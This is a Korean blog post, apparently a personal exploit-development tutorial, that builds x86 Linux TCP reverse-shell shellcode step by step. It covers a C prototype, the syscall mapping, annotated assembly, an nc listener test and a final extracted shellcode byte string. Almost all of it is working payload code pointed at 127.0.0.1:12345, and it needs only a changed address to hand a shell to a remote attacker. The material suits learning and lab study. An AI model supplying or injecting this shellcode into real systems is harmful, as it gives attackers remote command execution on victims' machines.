좀 열심히 쓴 글

How to make TCP Reverse Shellcode (x86)

ch4rli3kop 2019. 3. 21. 04:03
반응형

How to make TCP Reverse Shellcode (x86)


reverse shellcode가 필요했는데, 쉘코드 만드는 경험도 되새길 겸, reverse shellcode를 한 번 작성하기로 했다. 열려있는 상대방의 포트에 접속하여 쉘을 제공해준다.

코드는 다음과 같다.

#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

int main(int argc, char** argv){

struct sockaddr_in addr;
int sockfd;

addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
addr.sin_port = htons(12345);

sockfd = socket(AF_INET, SOCK_STREAM, 0);
connect(sockfd, (struct sockaddr *)&addr, sizeof(addr));
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);

execve("/bin/sh",0,0);

return 0;
}

dup2 함수는 file descriptor를 복사하는 함수인데, sockfd를 0, 1, 2에 등록시켜 쉘을 실행했을 때 발생하는 모든 입출력을 소캣으로 돌려버려, 상대방 서버에서 입출력이 가능하도록 할 수 있다.


이제 이 코드를 쉘코드로 만들어보자. 다음을 구현하면 된다.

socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(12345), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 ECONNREFUSED (Connection refused)
dup2(3, 0)                              = 0
dup2(3, 1)                              = 1
dup2(3, 2)                              = 2
execve("/bin/sh", NULL, NULL)           = 0


#define으로 전처리된 값과 각 syscall을 찾아보면 다음과 같다. syscall은 인자를 레지스터(ebx, ecx, edx)로 갖는데, syscall에서 subcall을 부를 경우, ebx에는 해당 subcall number가 들어가고, ecx에는 해당 subcall의 인자 배열의 주소 값이 들어간다.

=====================================================
socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
-----------------------------------------------------
socketcall() => syscall 0x66
socketcall_subcall() => SYS_SOCKET(1)
AF_INET => 2
SOCK_STREAM => 1

=====================================================
connect(3, {sa_family=AF_INET, sin_port=htons(12345), sin_addr=inet_addr("127.0.0.1")}, 16)
-----------------------------------------------------
socketcall() => syscall 0x66
socketcall_subcall() => SYS_CONNECT(3)

=====================================================
dup2(3, 0)
-----------------------------------------------------
dup2 => syscall 0x3f

=====================================================
execve("/bin/sh", 0, 0)
-----------------------------------------------------
execve => syscall 0xb


뚝딱뚝딱 어셈블리로 짜보자

.global main

main:
    # sockfd = socket(AF_INET, SOCK_STREAM, 0);
    # AF_INET = 2, SOCK_STREAM = 1
    push     $0x0
    push     $0x1    
    push     $0x2
    xor      %ebx, %ebx
    inc      %ebx            # socketcall_subcall() => SYS_SOCKET(1)
    mov      %esp, %ecx
    xor      %eax, %eax
    mov      $0x66, %al
    int      $0x80
    mov      %eax, %esi


    # connect(sockfd, (struct sockaddr *)&addr, sizeof(addr));
    # struct in_addr {
    #      u_long s_addr;
    # };
    # struct sockaddr_in {
    #      short sin_family;
    #      u_short sin_port;
    #      struct in_addr sin_addr;
    #      char sin_zero[8];
    # };
    # sizeof(addr) = 0x10
    push      $0x0101017f     # ip 127.0.0.1
    pushw     $0x3930         # port 12345
    pushw     $0x0002         # sin_family = AF_NET = 2
    mov       %esp, %ecx
    inc       %ebx
    inc       %ebx           # socketcall_subcall() => SYS_CONNECT(3)
    push      $0x10
    push      %ecx
    push      %esi
    mov       %esp, %ecx
    xor       %eax, %eax
    mov       $0x66, %al
    int       $0x80


    # dup2(sockfd, 0), dup2(sockfd, 1), dup(sockfd, 2)
    # dup2 => syscall 0x3f
    mov       %esi, %ebx
    xor       %ecx, %ecx    
    mov      $0x0, %cl
    mov       $0x3f, %al
    int      $0x80

    inc       %ecx
    int       $0x80

    inc       %ecx
    int       $0x80



    # execve("/bin//sh", 0, 0)
    # execve => syscall 0xb
    xor       %ecx, %ecx
    xor       %edx, %edx
    xor       %eax, %eax
    push      %eax
    push      $0x68732f2f
    push      $0x6e69622f
    mov       %esp, %ebx    
    push      %eax
    mov       %esp, %edx
    push     %ebx
    mov       %esp, %ecx
    mov       $0x0b, %al
    int       $0x80


잘 만들었으니 컴파일하고, 한쪽에는 nc를 이용해서 listen 모드로 포트하나 열어놓고 만들어놓은 revershell을 실행해보자

> nc -lvp 12345
...
> gcc -m32 -o reverseshell reverseshell.s
> ./revershell

잘된다!



[xavius@localhost remoteshell]$ objdump -d remoteshell2 | grep "<main>" -A 50
08048398     <main>:
8048398:     6a 00                push   $0x0
804839a:     6a 01                push   $0x1
804839c:     6a 02                 push   $0x2
804839e:     31 db                xor   %ebx,%ebx
80483a0:     43                   inc   %ebx
80483a1:     89 e1                mov   %esp,%ecx
80483a3:    31 c0                xor   %eax,%eax
80483a5:     b0 66                mov    $0x66,%al
80483a7:     cd 80                int    $0x80
80483a9:     89 c6                mov   %eax,%esi
80483ab:     68 7f 01 01 01       push   $0x101017f
80483b0:     66 68 30 39          pushw  $0x3930
80483b4:     66 6a 02             pushw  $0x2
80483b7:     89 e1                mov   %esp,%ecx
80483b9:     43                   inc   %ebx
80483ba:     43                   inc   %ebx
80483bb:     6a 10                push   $0x10
80483bd:     51                   push   %ecx
80483be:     56                   push   %esi
80483bf:     89 e1                mov   %esp,%ecx
80483c1:     31 c0                xor   %eax,%eax
80483c3:     b0 66                mov    $0x66,%al
80483c5:     cd 80                int    $0x80
80483c7:     89 f3                mov   %esi,%ebx
80483c9:     31 c9                xor   %ecx,%ecx
80483cb:     b1 00                 mov    $0x0,%cl
80483cd:     b0 3f                mov    $0x3f,%al
80483cf:     cd 80                int    $0x80
80483d1:     41                   inc   %ecx
80483d2:     cd 80                int    $0x80
80483d4:     41                   inc   %ecx
80483d5:     cd 80                 int    $0x80
80483d7:     31 c9                xor   %ecx,%ecx
80483d9:     31 d2                xor   %edx,%edx
80483db:     31 c0                xor   %eax,%eax
80483dd:     50                   push   %eax
80483de:     68 2f 2f 73 68       push   $0x68732f2f
80483e3:     68 2f 62 69 6e       push   $0x6e69622f
80483e8:     89 e3                mov   %esp,%ebx
80483ea:     50                   push   %eax
80483eb:     89 e2                mov   %esp,%edx
80483ed:     53                   push   %ebx
80483ee:     89 e1                mov   %esp,%ecx
80483f0:     b0 0b                mov    $0xb,%al
80483f2:     cd 80                int    $0x80
80483f4:     90                   nop    


쉘코드만 쫙쫙 뽑아내면 다음과 같겠다.

[xavius@localhost remoteshell]$ for i in $(objdump -d remoteshell2 -M intel| grep "<main>" -A 50 | grep "^ " | cut -f 2);do echo -n '\x'$i; done; echo
\x6a\x00\x6a\x01\x6a\x02\x31\xdb\x43\x89\xe1\x31\xc0\xb0\x66\xcd\x80\x89\xc6\x68\x7f\x01\x01\x01\x66\x68\x30\x39\x66\x6a\x02\x89\xe1\x43\x43\x6a\x10\x51\x56\x89\xe1\x31\xc0\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb1\x00\xb0\x3f\xcd\x80\x41\xcd\x80\x41\xcd\x80\x31\xc9\x31\xd2\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90\x90\x90

reference : https://d4m0n.tistory.com/93

반응형